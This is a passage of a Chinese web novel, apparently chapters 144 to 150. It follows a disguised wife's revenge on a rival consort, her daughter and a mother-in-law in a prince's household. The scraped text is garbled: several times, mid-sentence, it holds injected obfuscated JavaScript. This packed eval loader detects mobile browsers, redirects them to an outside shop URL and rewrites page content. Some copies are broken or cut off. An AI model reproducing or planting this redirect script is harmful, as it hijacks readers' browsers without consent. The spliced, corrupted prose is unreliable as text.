“你你个贱人,府上最近的事情,都是你搞出来的?” 眼看明明已经跌坐在地、害怕得嘴唇都在打哆嗦的人如今居然还有勇气向她说出自己的猜测,沈慕兮心中早已为她暗暗喝彩——不愧是有胆子看着她被活活凌虐致死的蛇蝎妇人。 若是旁人,只怕这会早已吓晕了过去。 “有些事情,说得太明白就没意思了。”她脸上笑意深了几分,“那条狗只是开端,很快,你的女儿、你本人以及你的奸夫,你们一个都逃不掉。” 她的声音像是带有某种穿透人心魂的魔力。 即使话音落下了许久,依然还在她的脑子里不断回荡。 “啊!!!” 脑袋里某根紧绷的弦像是突然断开,苏柳溪痛苦地抱着脑袋哀嚎,不断在地上打滚。 眼前一黑一黑又一黑,她的咽喉像是被扼住了一般,火辣辣地疼痛,连呼吸都困难,可她整个人的意识确实十分清晰。 她甚至还能感受到在她体内涌出的冷汗已经浸透了她的所有衣衫。 不知道过了多久,那种脑袋发沉,呼吸困难的感觉过去了。 她躺在地上,像一条苟延残喘的老狗,不断在吸气 呼气 房内寂静一片,她清晰地听清了她如擂鼓一般的心跳。 “咚——咚——” 此时,被灯光映照得昏黄一片的屋里还哪有其他人? 若不是刚才那种窒息的感觉太过清晰,她差点都要再次怀疑,是自己出现的幻觉。 “那条狗只是一个开端” 沈慕兮的声音在耳边萦绕不散。 苏柳溪警惕地半趴在绣墩上,援军扫向周围。 不,不对,当时她亲眼看着勇弟砍掉了沈慕兮的右手。 那个贱人,连尸体都是残缺的,怎么可能会这般健全出现在她面前 “现在出现的沈慕兮肯定是假的,一定是易容或者用了什么东西改了容貌” 她喃喃自语,努力让自己恢复镇定。 翠娥进屋就看到苏柳溪抱着绣墩坐在地上,她连忙上前将人扶起来。 “小姐,您怎么跌坐在地上了?王爷呢?” 苏柳溪反手握住了翠娥的手,“快,去找小小姐来,就说是我有事找她。” 她不相信她会连续两次出现那种所谓的做梦,定然有其他人在捣鬼。 老王妃身边的到底是不是沈慕兮本人,等她找机会撕下她的脸皮就知道了。 翌日一早。 顾筱筱破天荒地去了荣辉堂给康氏请安。 途中还遇到了虞悦希跟顾时。 因着昨晚在主院发生的事情,顾时对虞悦希格外膈应,自然而然地把注意力放在了顾筱筱身上。 他难得对顾筱筱温柔开口。 “今日筱筱怎么想起给祖母请安了?” “那是老祖宗,不是筱筱的祖母,”顾筱筱垂眸,神色低落,“娘亲说了,要听爹爹跟祖母的话。” 对于沈慕兮的“识时务”,顾时十分受用,“你娘亲若是早有这种觉悟,你们母女二人也不至于吃这么些苦头。” 说来说去,还是怪沈氏,筱筱是他的女儿,难道她们母女二人留在府上,他的下人还会虐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14287863|152038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 待她们母女不成? 顾筱筱神色恹恹应了一声,之后,任由顾时怎么跟她找共同话题,她也只是应付式回答几句。 虞悦希看到父女二人“相处融洽”,好几次想要加入话题,却被顾时不动声色地打断了。 顾筱筱感觉到气氛尴尬,对于应下顾时说话的热情也大幅度下降,顾时聊了几句发现女儿似乎是真的不想理会自己,他也干脆闭了嘴。 一大两小的到达荣辉堂时候的气氛格外怪异,连荣辉堂的下人都忍不住侧目。 康氏听到小辈们前来请安,打乱了她的小憩计划,顿时脸色黑沉如水。 也不知道是不是她的错觉,用了腿伤的药,她的腿确实好得快,但是人也特别容易累。 睡眠不足,她的神色自然也好看不到哪里去。 碍于亲儿子也来了,她还是不得不出面应付一下。 才刚踏入小前堂。 她甚至还没看清楚屋里来了什么人,只觉得眼前一花,紧接着,一个肉乎乎的身体用力撞上了她。 “祖母,悦悦可想您了。” 力度太大,康氏被撞了个结实的满怀。 康氏毫无防备,身子一个趔趄,重重撞向了她身边的沈慕兮。 沈慕兮似乎也没有料到康氏会突然撞上来,她在没有半点心理准备的情况下,整个人重重摔倒在地。 手肘磕在地板发出一 声脆响,她忍不住闷哼一声。 “啊,对不起,我不是故意的。” 虞悦希嘴里说着抱歉,手上却一点都没有闲着,趁着跟丫鬟婆子一同动手将沈慕兮扶起来,她的手用力往沈慕兮的脸上抓去。 这一抓,竟真的挠下了沈慕兮一小块脸皮。 “啊——” 沈慕兮痛苦地惨叫了一声。 虞悦希嘴角微扬,眼底迅速闪过一抹恶毒的光芒。 第145章 从白月光变成白饭粒 在顾时看过来之际,她又迅速换上一脸震惊,像是摸到了什么脏东西一样,将她从沈慕兮手上撕下来的一小块脸皮扔开。 “怎么回事?你的脸,怎么还掉皮了?” 沈慕兮顿时脸色大变,捂住了那块被虞悦希抓下脸皮、与其他皮肤颜色不一样的地方。 饶是她的动作迅速,顾时还是发现了端倪。 他大步上前扯下了沈慕兮捂脸的手,皱眉看着那一块明显比周围要惨白许多的皮肤,“这到底是怎么回事?” 他伸手就要去揭开她的脸皮,被沈慕兮惊恐地推开了。 她可怜兮兮地看向顾时,“求你,不要用这种眼神看我。” 康氏早已在虞悦希丢开脸皮的时候惊恐地后退了几步,看到她不让顾时触碰她的脸,她忍不住开口质问,“你的脸到底是什么情况?” 顾筱筱想要上前,被贺月拉住了。 虞悦希继续捂嘴惊呼,“我最近听丫鬟婆子说过一个话本子的故事,说过有那种专门扒人家脸皮的女鬼,这” “少看些乱七八糟的东西。” 顾时本来心里就已经烦躁,听到虞悦希说这些话,心里烦躁又多了几分。 “哪个不长眼的东西跟你说这种玩意?回头若是再让我听到,直接打了板子再发卖出去。” 虞悦希当即捂紧嘴巴,不敢再多说一句话。 顾时的注意力重新放在沈慕兮身上,“你的脸,到底是怎么回事?” 语气里,是满满的不耐烦,还有 嫌恶。 不过短短几个呼吸间,沈慕兮似是失去了所有辩解的能力。 她朝顾时惨然一笑,“你真的想知道是怎么回事吗?” 声音里,带了许多无奈还有几分委屈。 恍惚间,顾时仿佛又闻到了那股熟悉的荷花清香,他突然有点心虚。 “若是你不想说,倒也不必勉强。” 沈慕兮的眼眶顿时红了,“所以,你所谓的想要再续前缘,其实看的只是一副皮囊,眼下我虽憔悴,却依旧有两分姿色,可当这两分姿色没了,你依旧会对我弃之如履,就像我与筱筱刚从丹阳回来,你习惯了京中繁华,见不得过往的灰暗,对吗?” 像是受了极大的打击,她面带难堪,趔趄后退了一步,“从头到尾,你根本就不是爱我这个人。” 康氏看不下去,不耐烦看向沈慕兮,“没事就退下,脸受伤了就擦点伤药,在这里哭哭啼啼的,成何体统?也不怕带坏孩子。” 就在这时,外头传来了门外小丫鬟的禀报,“老祖宗,王爷,王妃来了。” 一听到苏柳溪也出现,康氏的眉头当场拧成死结,“她来做什么?” 本来来了这几个人已经够她烦的了,现在还多来了一个。 几乎是完全不过脑子,她脱口而出,“昨日她才闹出了这么大的幺蛾子,身体不好好休息怎么行?让她回去歇息吧。” 她的话音刚落,苏柳溪已经在翠娥的搀扶下款款而来。 “儿媳这次前来,主要是因为昨日无意之间从其他下人口中得知姐姐回来了,一时欢喜,若是有失了礼数的地方,还望婆母不要见怪。” 沈慕兮循声望向苏柳溪。 后者的气色看上去并不好,似是一宿没睡好,她的眼底还带了一些乌青 沈慕兮不动声息地收回目光,继续自己的戏份。 康氏小声嘀咕,“来都来了,还把话茬堵死,我还能把你赶走不成?” 苏柳溪置若罔闻,目光径自越过康氏,在看到沈慕兮的那一刻,她的眼神倏然迸发了几分狂喜,语气亲昵,“姐姐” 沈慕兮冷脸看向苏柳溪,“你的一声姐姐,我可担不起。” 苏柳溪闻言,立刻可怜巴巴地看向顾时。 奈何顾时在这种时候显然也不想看到她,“我不是让你在主院好好休息,你来做什么?” 苏柳溪脸上委屈,“可是你之前并没有告诉我姐姐她回来了” “不管慕慕回来不回来,与你关系不大,身体不好,就好好在主院养身体,来回折腾作甚?” 苏柳溪还想说些其他,可对上顾时那双冷漠的眼睛,终究还是什么都说不出来。 转头看到沈慕兮在一旁看得津津有味,甚至在对上她目光的时候,还略带挑衅地挑了挑眉。 她的眼底闪过一抹阴鸷,很快换上了无害的笑容,“姐姐能回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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男人啊,从来都是得不到是最好的。 第146章 她还要仰仗沈氏的药给她治腿 得到了康氏肯定的应诺,顾时这才满意地点了点头。 “你的脸,到底是怎么回事?” 因着苏柳溪突然出现的影响,他对沈慕兮也没有什么好脸色。 沈慕兮连忙调整情绪,委屈咬唇,“你就这么信不过我?” “刚才柳儿有一句话说得很对,现在荣郡王府草木皆兵,这样也是为了避免有心人混进来,安全一些比较好。” 顾时自认为自己已经给了沈慕兮很多的耐性,若是沈慕兮这种时候还不懂得审时度势 脑子里想要对沈慕兮做些其他的想法才刚冒出来,他的心里再次涌上了一股愧疚。 连带他看向沈慕兮的目光也变得柔和而不自知。 沈慕兮还在忐忑地看向他,“那等你看到我的脸以后,你还会像以前一样爱我吗?” 这副小心翼翼的模样,与前些天对他疾言厉色的样子形成了鲜明的对比。 顾时强行将心底翻涌的情绪压下,没有正面回答,“不管爱不爱你,你既然已经是我的人,你的脸变成什么样,我总有知道真相的权利。” 没人知道,顾时现在的内心正在天人交战。 一边无比庆幸自己没有在那天重遇的时候冲动要了她。 一边却因为自己庆幸的想法而感到窒息,心中那股铺天盖地的愧疚感几乎要将他淹没。 一双紧握的拳头,早已因太过用力而指节泛白 沈慕兮将顾时坐立不安的模样尽收眼底,嘴角无声勾起一抹笑意,看上去别扭且僵硬。 “我将脸皮揭开可以,但是,你能不能,让孩子们离开,我怕吓到了她们。” 康氏明显感觉到了自己儿子的不对劲,眼看沈慕兮还在磨磨蹭蹭,她语气不善地吐槽道,“揭一张假皮也这么多话。” 回眸对上顾时警告的目光,她悻悻闭了嘴。 “来人。” 顾时唤来了荣辉堂的下人。 很快,虞悦希跟顾筱筱被下人带了下去。 “现在,你总应该没有避讳了吧。” 顾时这是铁了心要沈慕兮露出真面目。 沈慕兮不再犹豫,抬手撕下了脸上的人皮。 伴随人皮面具被掀起来的那一刻,顾时跟康氏纷纷忍不住倒吸了一口凉气。 人皮面具之下,是怎样的一张脸? 整张脸坑坑洼洼几乎没有一块好肉,只能看到眼睛和嘴巴,连鼻子都是残缺的。 “啊!!” 康氏惨叫了一声,立刻趴在一边干呕了出来。 顾时虽然没有叫出来,可是看他那刷地变得惨白的脸色,估计叫出来也只是迟早的事情。 沈慕兮仿佛看到不到两人眼里的震惊与嫌弃,苦笑。 “之前我回去丹阳的时候,发现产业都被变卖了,想要打听被变卖产业的下落,没想到又被人骗去了一个心狠手辣的毒医那里。 因为常年炼毒,那个女人的脸早已成了一片废墟。 她看上了我的脸皮。 说只要我的脸给了她,她不仅会给我一笔银钱并且帮我找回女儿,而且还会给我一份可以肉白骨的神药,让我的容貌恢复。 那时候我已经走投无路,毒医的话对我来说,无疑是一种极致的诱惑。 而且,她也跟我承诺了,换脸的时候,除了中途脸上有点痛,不会有太大的问题,于是我就应下了。” 说到这里,她停顿了一下,将手上人皮重新贴回原位,苦笑。 “脸皮被剥出来的时候,真的很痛很痛,那种痛,是锥心刺骨、让人想忘都忘不掉。 可是只要一想到我很快就能跟筱筱团聚,我就不觉得痛了” 康氏脸色发青坐在原位,好不容易吐了一轮,这会看上去又要快吐出来了。 顾时也在紧抿薄唇,似是在隐忍什么。 沈慕兮眼底闪过一抹嘲讽,压下嘴角冷笑。 “后面的事情,你们也知道了,那个毒医给了我一张脸皮,还给了我一笔银子跟筱筱的消息,所以我才有机会回来与筱筱团聚。 因为筱筱那会的脸也受伤了,所以我不敢浪费那些药膏,不成想,还没来得及给筱筱用上,我就听说老王妃的腿受了伤,所以” “所以你给母妃医治腿伤的药膏,就是用来复原你的脸的?” 顾时红着眼眶抖着声音把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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况且,这事情说到底还是得怪沈氏你的眼皮子太浅,不过只是区区几个铺子,卖了也买不来珍宝阁的半根发簪,至于这么大惊小怪一直提着吗?” 第147章 顾时彻底看清自己的心 “母妃” 康氏的态度嚣张,连顾时都听不下去了,“此次错在” 话为说完,沈慕兮拦下了他还未来得及说出来的话。 “没关系的王爷。” 她看向他的眼神隐忍又克制,语气却带着淡淡的疏离,“现在我已经回来了,只要能好好陪在你跟筱筱身边,我们一家三口好好过下去,比一切都强。” 面对她突如其来的申请剖白,顾时只觉得喉间酸涩,想要再说出口的话全数哽在嘴边——她当真的是爱惨了他。 曾几何时,她也在丹阳的苍茫夜色之中,说过这样的话。 那一年的仲夏傍晚,筱筱才两岁。 在挂有沈慕兮亲手织造帐子的摇篮里熟睡。 她在摇篮旁边扯藕丝,他在她的身边剥莲子。 “等这批印泥做出来拿去卖掉,扣除给母亲买新发簪做新鞋子的钱,剩下的钱银我可以给你扯布做一套新衣裳,帮你换新的羊毫笔,现在你用来作画的麻纸,也可以给你换成宣纸了。” 她眼底的喜色掩盖不住,连带感染了闷闷不乐吃莲子的他。 那双前一刻还淡漠不已的眸子瞬间盈上了一层狂喜。 似是觉得不真切,他还反复问了沈慕兮好几次。 要知道,他用的是上好的亳州宣纸,价格比一般作画的宣纸要昂贵许多,因此,康氏才会对他来到丹阳还天天放不下笔墨颇有微词。 甚至还一度扬言不允许他再作画。 可那是他被流放后的精神支柱,况且他做出来的画偶尔还能拿去换回几个铜板,又怎么可以说是一无是处? 后面沈慕兮来了,他虽然还能继续作画,可能用的却是最廉价劣质的麻纸 纸张太劣质,连带他的画作也无人问津 在所有人都不看好他的时候,只有她,一直在无条件地支持他 心中一暖,顾时情难自禁地将她拥入怀中,“兮兮,你总是这样这样善解人意,我一时之间,竟不知要如何报答你?” “傻瓜,你我是夫妻,夫妻之间,又何须这般客气?” 她红着脸推开了他。 即使已经成亲三年,她看向他眼神里的依恋,始终如一。 那一日的夕阳很美,她 更美。 “你真是不识好歹。” 康氏怒气冲冲的声音将顾时游离的思绪拉回。 顾时这才反应过来,刚才沈慕兮的“失言”惹恼了康氏。 他身体的速度比脑子的判断还快,上前一步将沈慕兮护在身后,“母妃,孩儿不觉得她这样说有什么不妥。” 直到现在,顾时才彻底看清自己的心。 什么看她不顺眼,不过只是因为她没有在自己面前示弱的不甘心。 他的心里,还是有她的。 诚然,他给不了她一生一世一双人。 可他可以保证,只要她跟溪溪好好相处,他可以一直保住她的荣华富贵,不让她再像之前那样风餐露宿 康氏难以置信地瞪圆了眼睛,似乎对顾时态度的突然转变十分不理解,“时儿” 顾时对康氏的态度视若无睹,温和对沈慕兮开口,“你先下去,我有些事要跟母妃说。” 沈慕兮本能地看了一眼康氏,那几乎是出于习惯的动作,极大地满足了康氏的虚荣心。 连带让康氏的火气也散去了不少。 “行了,你先退下,到时候有需要,我让苏嬷嬷找你。” “是。” 沈慕兮垂眸错开了顾时黏腻的视线,低头退下。 离开前堂,沈慕兮没有回去下人房,而是找理由悄悄回了一趟碧水苑。 早已得知沈慕兮有其他安排,贺月事先带了顾筱筱去花园。 红豆早已在碧水苑久候多时。 看到沈慕兮回去,连忙上前。 “小姐,外面的一切都已经安排妥当。” “好,”沈慕兮进了筱筱房间,取来一套简朴的百姓衣裳,一边换下外裳,一边吩咐,“我现在要外出一趟,荣辉堂那边安排一下,顺便遣人给苏康带个消息,就说,沈慕兮回来了,在向苏柳溪母女报复的时候发现了他的秘密。” 沈慕兮束腰带的时候,红豆顺便上前为沈慕兮盘发,“顾时那边,需要把咱们查到的消息告诉他吗?” 沈慕兮看了一眼外头刺目的阳光,“先将书音跟追风的事情告诉他,其他再等一等。” 打击这种东西,要接二连三地来,才有意义。 苏柳溪憋了一肚子怒气从荣辉堂回到主院,几乎本能就要摔手边的东西,被翠娥阻止了。 “每一个院子里的物品都有记录在册,虽然咱们摔烂了可以替补,可是最近咱们院子里摔碎东西的实在是太多了,若是王爷或者老王妃细查” 那她之前装出来的贤惠温柔形象定然不堪一击。 苏柳溪显然也想到了这一层,她不情不愿地将东西放下。 荣辉堂内苏柳溪被“赶走”的动静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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不仅不能撕破脸,为了能让苏府举全族之力辅助,他还要尽快与苏柳溪生下孩子 门外传来的轻磕声打乱了顾时的思绪。 他迅速回神将展平的密信揉成一团窝在手中。 “何事?” 陈十六的声音在外头响起。 “王爷,老王妃请您再过去一趟。” 顾时抿唇,“你让人告诉母妃,本王做下的决定,绝不更改。” 第148章 你就是这样欺负筱筱的? 荣辉堂。 得到了陈十六的回话,康氏差点被直接气晕过去。 苏婆子连忙上前安抚,“老祖宗,可动不得气啊。” “我怎么能不动气?”康氏咬牙切齿道,“那个逆子,不过只是区区一个女人就把他迷得找不着北,荣郡王府迟早有一天败在他手上。” 苏婆子大吃一惊,“王爷真的打算让那个女子做妾?” 康氏似笑非笑地冷哼一声,“若只是做妾,我何至于这般动肝火?” 苏婆子眼底的震惊又加深了几分,“不做妾,难道” “他说,要将那个女人,以平妻之礼,迎娶进门,”康氏嘴角努力给自己扯出一抹笑意,实际上后槽牙都要咬碎了,“他说这是他欠她的。” 苏婆子震惊捂嘴,“王爷这是疯了不成?” 像是刚从震惊之中回神,她忍不住开口问康氏,“那沈姑娘知道吗?” 康氏冷笑,“那个贱婢,怎么可能不知?分明就是她蓄意勾引我儿” 说到一半,她似是才反应过来,眼底带着冷意,“好啊,我就说,为什么她突然变了态度伏低做小,敢情就是用苦肉计,为了让时儿心疼。” 那个贱蹄子,居然连她都算计下去。 越想越气愤,康氏朝苏婆子吩咐,“去,把那个贱婢给我带过来。” 这口恶气,不出不行。 苏婆子一脸为难,“刚才老奴已经去下人房那边看过了,沈姑娘没在,与她同房的丫鬟说她不久前好像背着一个包裹从角门出去了。” “那个贱人,简直就是反了天了。” 康氏的脾气才刚上头,又听苏婆子开口道,“不过那个粗使小丫鬟说,沈氏出门之前,好像嘀咕了一句要去拿药什么的” “拿药,拿什么”康氏的冷脸挂到一半,全数变成了错愕,“你是说,她背着包袱出去,是为了拿药?” 苏婆子点头,“丫鬟是这么说的。” 康氏没有再说话。 她的直觉告诉她,沈氏拿药是为了她。 但是 她迟疑地看了一眼自己的左腿。 眼下最重要的还是她的腿。 只要沈氏还在意丈夫跟女儿,以后她多的是机会处理了她。 心中有了打算,康氏心底的纠结尽数散去。 顾时一直让另外一名侍卫注意荣辉堂的动向。 得知荣辉堂一晚上风平浪静,他才暗暗松了一口气。 那名侍卫也是当时追风调教的侍卫之一,名唤陈三。 看到顾时一脸事不关己的模样,他纠结了一下,忍不住开口道,“王爷,老王妃昨天似乎被气得不轻,您看” “好了,这个问题暂且揭过,”顾时明显不想多说昨天事情,直接转移话题,“让你查苏府的事情,现在进展如何?” 提起苏府,陈三的脸上多了几分肃穆。 “苏府每年都有几笔巨大的支出不知去向,不管我在哪个钱庄入手都找不到。” 顿了顿,陈三继续说出自己的想法,“属下以为,最后的线索,还是要回去柳溪村细查。” “也不一定。”顾时目光虚空地打断了他的话,眼底还带了几分让人难以琢磨的情绪,“也许,最危险的地方,才是最安全的地方。” “如此,属下重新将注意力拉回去苏府。” 得了顾时的同意,陈三小心翼翼告退。 房内一片寂静。 熏香缭绕。 顾时的心无论如何都静不下来。 鼻翼之间的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14287867|152038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荷叶清香萦绕不去,他脑子里又不自主地浮现了沈慕兮楚楚可怜的眼神。 按照他原本的性子,他是不可能看上沈慕兮,可是现在就是这么荒唐。 只要闭上眼睛,沈慕兮的模样总能不合时宜地出现在他的脑海里,扰乱他的思绪。 心烦意乱,他再次决定出去走走。 陈十六看到他离开书房,寸步不离跟上。 主仆二人默契地保持沉默。 才刚到路过水榭,顾时听到了似乎有人争吵的声音。 陈十六想要上前,被顾时拉住了,“且先看看。” “这里是我的府邸,顾叔叔是我的爹,你只是一个被人赶走又捡回来的野种,也敢回来跟我叫板?哪来的脸?” 听出来说话的是虞悦希的声音,顾时脸都绿了。 紧接着,又是顾筱筱带着哭腔的声音传来,“那是我爹爹,我不许你抢走我爹爹。” “得了吧,你看看你现在这样,你爹来看你吗?到时候我跟我娘只要略施小计,你跟你那个贱人娘还是得滚蛋。” 虞悦希洋洋得意。 这是以其人之道,还治其人之身。 谁让顾筱筱个小贱人这个小贱人一大早就故意气她,膈应她。 她不撩下一些狠话弄哭顾筱筱,算她输。 然而,还没等顾筱筱哭出来,她就感觉自己整个人被凌空提起了领子。 紧接着,一个让她心胆发颤的声音在她的头顶响起,“原来,我不在的时候,你就是这样欺负筱筱的?” 顾时皮笑肉不笑地拎着虞悦希的衣裳后领,眼里闪着寒芒。 看 到顾时出现,顾筱筱哭得更大声了。 “爹爹,她要赶筱筱跟娘亲走,呜呜呜~~” 第149章 筱筱再给爹爹一个机会,好吗? “我没有,”看到顾时出现的那一刻,虞悦希的脑子瞬间一片空白,任她如何努力,嘴里只能不断重复一句“顾叔叔,我真的没有” “我在另外一头都听得一清二楚。” 眼见为实,再加上之前亲眼看到虞悦希打骂侍女,顾时对虞悦希已经没有像之前那样无条件信任。 冷眼看着虞悦希还在委屈地摇头为自己辩解,他的嘴角始终挂着冷笑。 “怎么,到现在,你都还把我当成睁眼瞎?” 虞悦希眼底闪过一抹慌乱,很快又被委屈取代。 “顾叔叔,悦悦不知道你在说什么?刚才分明是筱筱妹妹先出言挑衅,不信您去问” “问谁?问你的贴身丫鬟,好让你的人继续冤枉筱筱?” 顾时一边说话,一边走到顾筱筱跟前蹲下身子安抚顾筱筱。 不敢想象,若是他之前真的只凭借假象相信了虞悦希的话,他的筱筱会有多委屈。 虞悦希什么时候在顾筱筱面前受过顾时这种冷待? 到底也还只是一个八岁的孩子,她的情绪本就容易上头。 没了辛婆子随行,再也控制不住自己的情绪,狠狠地瞪了顾筱筱一眼。 “你就是故意的。” 顾筱筱当即害怕地瑟缩在顾时的怀中。 “姐姐,不要打我” “你刚才不是狂得很?你现在装什么装?”虞悦希尖叫着就要冲上前,被陈十六拦住了。 “悦小姐,莫要胡闹。” “你放开我。” 顾筱筱与顾时靠得更近了。 “爹爹刚刚姐姐说,她才是王府正儿八经的嫡女,筱筱只是一个没有名分野种,要筱筱跟娘亲赶紧收拾包袱走,你是不是真的不想要筱筱跟娘亲了?” 小姑娘一双酷似沈慕兮的眼眸,通红的眸子里盈满了水雾,泪花倔强地挂在眼眶里,迟迟不愿掉落。 看上去委屈又破碎。 顾时的心都要碎了,他的语气极为轻柔,“筱筱不怕,有爹爹在,没人能欺负你,以后,筱筱跟娘亲就一直跟爹爹住在一起,好不好?” 顾筱筱歪着脑袋,似是在考虑顾时话语中的可信度。 好一会,才轻轻点头。 “筱筱信爹爹。” 一股失而复得的狂喜从顾时心中蔓延,几乎没有半分犹豫,他抱起顾筱筱,大步往碧水苑的方向走去。 经过虞悦希身边时,顾时还特地停下了脚步,冷声开口,“这些天你在府上也算是愈发无法无天了,今日便在这里好好跪着思过,天黑了再回去落霞苑。” 眼下不过只是辰时末,巳时初。 距离天黑起码还有四个时辰。 顾叔叔这是要她跪断腿啊。 之前她的天狼咬伤了不少人,顾叔叔也只是高高拿起轻轻放下。 如今她不过只是被顾筱筱挑拨几句,说了几句不中听的话,顾叔叔凭什么要惩罚她? 一股不甘心从她的心底迅速滋长,她想再说些什么,抬头发现顾时等人已经走远,只留下了一个面生的、手执长鞭的侍卫看着她跟她身边的小红罚跪。 侍卫极为严厉,只要跪姿稍微有点松懈,一记猎猎鞭风便毫不留情地贴着她耳边扫过,落在她身旁坚硬的石板砖上。 她颤抖着身子,牙关紧咬恨恨低语,“顾筱筱你个小贱人等着,你敢害我,我定要让你生不如死。” 顾时一路抱着顾筱筱回到了碧水苑。 才刚放下顾筱筱就准备转身,顾筱筱也没有挽留,只在顾时转身之际说了一句,“爹爹慢走。” 顾时哭笑不得地伸手刮了刮她的小鼻子,“你个小没良心的,真想让爹爹走啦?不需要爹爹陪你了?” 顾筱筱点头,很快又摇头。 “娘亲说,爹爹平日里要处理公务已经很忙很累了,筱筱不能给爹爹带来麻烦。” 不能给他带来麻烦? 似曾相识的话,让顾时的心里莫名一揪。 死去的回忆突然诈尸,打了他一个措手不及。 那会,沈慕兮母女才刚从丹阳回京。 又好几次,顾筱筱想要见他的时候,他都在陪虞悦希母女。 为了不让沈慕兮母女多想,他便随意捏造了一个公务繁忙的理由,目的是为了让她们母女不要烦他 喷薄而出的愧疚之感如同一只大手紧紧裹住了顾时,将顾时的一颗心捏得生疼。 他忍不住再次返回顾筱筱跟前,将顾筱筱狠狠抱在怀里,嘴里一直在呢喃,“筱筱,对不起,以前是爹爹糊涂,猪油蒙了心,以后爹爹再也不会伤害筱筱,筱筱再给爹爹一个机会,可以吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14287868|152038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 顾筱筱仿佛听不懂他在说什么,欢喜地抱着顾时的脖子,亲了他的脸颊一口。 “筱筱最爱爹爹了。” 小姑娘哭过以后,心情明显变好了,脸上天真无邪的笑容仿佛有极大的感染力,让顾时的嘴角的忍不住上扬。 久违的幸福感从心底蔓延。 顾时暗暗庆幸。 幸亏,小孩子忘性大,慕慕也爱他,之前的伤害可以抚平。 等慕慕过门之后,他一定要好好敲打敲打虞悦希母女,不许他们 作妖伤害筱筱跟慕慕。 就在顾时考虑今日中午要不要过来与顾筱筱一起用午膳之际,陈三面带凝重地来了。 “王爷,荣辉堂有情况。” 半个时辰前。 沈慕兮趁着天色微亮之时,钻了侍卫换值的空子回到了荣辉堂那边的下人房。 不成想,才刚背着包袱进房间,她就被苏婆子带去了主屋外,连肩上包袱里的东西都没放好。 “嬷嬷,老王妃还未起来,你带我来这里,做什么?” 苏婆子为难地看了沈慕兮一眼,嘴上的气势半分没弱,“跪下。” 对上苏婆子提示的目光,沈慕兮乖乖跪在主屋外。 苏婆子快步走到其中一个小丫鬟身边,停留须臾,转眼又离开。 很快,小丫鬟原先站的位置也变得空无一人。 沈慕兮一直跪在主屋外,直到太阳从刚刚爬起来的东方旭日变成日上三竿。 也不知是有意耽误还是实际上一直没起,直到巳时初,康氏仍旧在主屋之中,没有人进屋伺候梳洗,连小厨房也毫无动静。 顾时踏入荣辉堂第一眼就看到了沈慕兮跪在主屋前,脸色惨白,摇摇欲坠。 他心头一紧,脱口而出,“慕慕。” 他的声音惊动了屋里的康氏。 房门从里面打开。 苏婆子从屋里出来,遥遥与顾时见了一礼以后,重新进了屋。 本来还死气沉沉的荣辉堂,在苏婆子朝顾时见礼的那一刻,仿佛一瞬间活了过来。 下人们开始有条不紊地捧着各种梳洗用品进屋。 沈慕兮阻止了顾时想要将她拉起来的动作。 “王爷,不要为了我伤害你母子之间的感情。” 第150章 先稳住沈氏 眼前女子脸色惨白,双唇干裂,两个鸦色的黑眼圈挂在眼下,一看就是没有好好休息。 顾时心中一紧,拂开了她推拒的手,“都这种时候,连你还在想这些有的没的。” 沈慕兮半推半就地任由顾时将她扶起。 嘴上不断羞涩地重复“我真的没事”,半垂的眼睑将她眼眸之中凉薄与仇恨交织的复杂情绪全数掩盖。 康氏出门就看到两人拉拉扯扯,顾不得礼数体面,大步上前毫不留情地两二人拉开,并且甩了沈慕兮一记耳光。 “谁允许你这般僭越?” 其他下人早已在康氏上前扯开沈慕兮的时候被苏婆子唤走。 一时之间,主屋外只剩下沈慕兮、顾时以及康氏三人。 